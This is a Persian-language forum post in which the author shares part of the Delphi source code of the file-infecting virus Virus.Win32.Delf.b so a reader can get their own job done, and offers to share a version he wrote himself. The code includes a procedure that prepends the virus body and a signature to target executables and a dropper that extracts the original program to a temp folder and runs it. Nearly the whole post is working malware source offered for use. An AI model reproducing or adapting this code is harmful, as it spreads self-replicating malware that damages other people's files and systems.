سلام.
عزیز تو لینکی که بالا گذاشتم یه نمونش رو گذاشتم. این کار شما رو راه میندازه!!
اما در این موردی که من گفتم خودمم توش موندم.
این گوشه ای ار سرس ویروسه Virus.Win32.Delf.b هستش که کارت رو راه میندازه. یه نمونه هم خودم نوشتم اگه خواستی میزارم.
PROCEDURE Prepend(DestinationFileName:STRING);
VAR
DestinationFile : FILE;
FileAttribute : Integer;
DestinationFileSize : Longint;
Buf : AnsiString;
BEGIN
TRY
FileAttribute:=GetFileAttributes(pAnsiChar(Destina tionFileName));
SetFileAttributes(pAnsiChar(DestinationFileName), 80);
{$I-}
AssignFile(DestinationFile,DestinationFileName);
FileMode:=2;
Reset(DestinationFile,1);
DestinationFileSize:=FileSize(DestinationFile);
SetLength(Buf,DestinationFileSize);
BlockRead(DestinationFile,Buf[1],DestinationFileSize);
IF Pos(VirusEndSignature,Buf)=0 THEN BEGIN
Seek(DestinationFile,0);
BlockWrite(DestinationFile,VirusBuffer[1],VirusSize);
BlockWrite(DestinationFile,VirusEndSignature[1],Length(VirusEndSignature));
BlockWrite(DestinationFile,Buf[1],DestinationFileSize);
CloseFile(DestinationFile);
END;
{$I+}
SetFileAttributes(pAnsiChar(DestinationFileName), FileAttribute);
FINALLY
END;
END;
//----
PROCEDURE DropFile;
VAR
G : FILE;
S : STRING;
T : Longint;
BEGIN
{$I-}
T:=VirusPositon+Length(VirusEndSignature);
IF VirusPositon>0 THEN BEGIN
// Working as a classic prepender if can not execute the original file in
// the memory.
IF(NOT IsNTBasedOS)OR(NOT CreateProcessEx(@VirusBuffer[T])) THEN BEGIN
TRY
S:=TempPath+ExtractFileName(ParamStr(0));
AssignFile(G,S);
Rewrite(G,1);
BlockWrite(G,VirusBuffer[T],Length(VirusBuffer)-T+1);
CloseFile(G);
WinExec(pChar(S+' '+CommandLineParameters),SW_SHOW);
EXCEPT
END;
END;
END;
{$I+}
END;
موفق باشید و چیروز.